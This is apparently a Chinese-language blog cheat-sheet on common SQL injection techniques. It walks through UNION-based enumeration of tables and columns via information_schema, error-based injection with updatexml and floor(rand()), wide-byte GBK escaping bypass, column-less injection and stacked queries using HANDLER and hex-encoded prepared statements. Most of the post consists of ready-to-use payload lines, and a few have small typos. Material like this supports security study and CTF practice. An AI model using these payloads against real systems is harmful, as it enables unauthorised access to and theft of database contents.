1. 程式人生 > 其它 >SQL注入常用方法

SQL注入常用方法

聯合注入(union):
①判斷注入型別:
先判斷注入型別:字元型,數字型(注入 id=a 報錯表示 型別為數字 ,即就是$id,沒有””)

判斷如何包裹:輸入去判斷 資料是如何包裹的,單引號報錯是單引號,雙引號報錯是雙引號,在判斷有沒有括號包裹

例子:輸入 a,1” ,1’ ,都報錯 就是單純的 $id
用 ‘,”,) 加在 id=1 後面,以 %23 結尾來測試 輸入的結構

是註釋符 (url編碼%23)

②查列數:
聯合查詢時 union select 後面列數要相同
(用oreer by)

③確定欄位位置(為了確定資料與欄位的對應關係)
union select 1,2,3,4,5 (看 12345 的位置)

當⻚⾯只會顯示⼀⾏資料時候,需要先拼上⼀個恆假的條件讓前⾯的結果集沒有輸⼊
and 1=2 union select 1,2,3,4,5

④查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()

⑤查列名
select group_concat(column_name) from information_schema.columns where table_name='xxx'

⑥查資料
例子:

無列名注入:
?id=1 union select 1,(select group_concat(a) from (select 'a' union select * from f1ag_table) as t)

報錯注入:
WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)

SELECT count(),concat((select database()),floor(rand(114514)2)) FROM users GROUP BY 2

寬位元組注入:
利用 GBK 編碼 用 %DF (因為可以和%5c 構成漢字 )來繞過註釋 (比如’,” 符號會被加 \ 註釋掉) 加 %DF 後 由於 DF 大於127 ,會把 %DF 和後一個字元(\)看作一個漢字,從而繞過註釋

堆疊注入:
也叫多⾏注⼊,當代碼允許多⾏查詢時候使⽤,⼀般是在select等關鍵字被過濾的時候進⾏使⽤的。 對於堆疊注⼊,我們⼀般使⽤兩種⽅式進⾏繞過select

1.查表:
show databases;
show tables;

  1. Handler使⽤

handler test open;
handler test read first;
handler test close;

3.動態執⾏預處理
set @a=0xxxxx; # 要執⾏語句的16進位制
prepare test from @a;
execute test;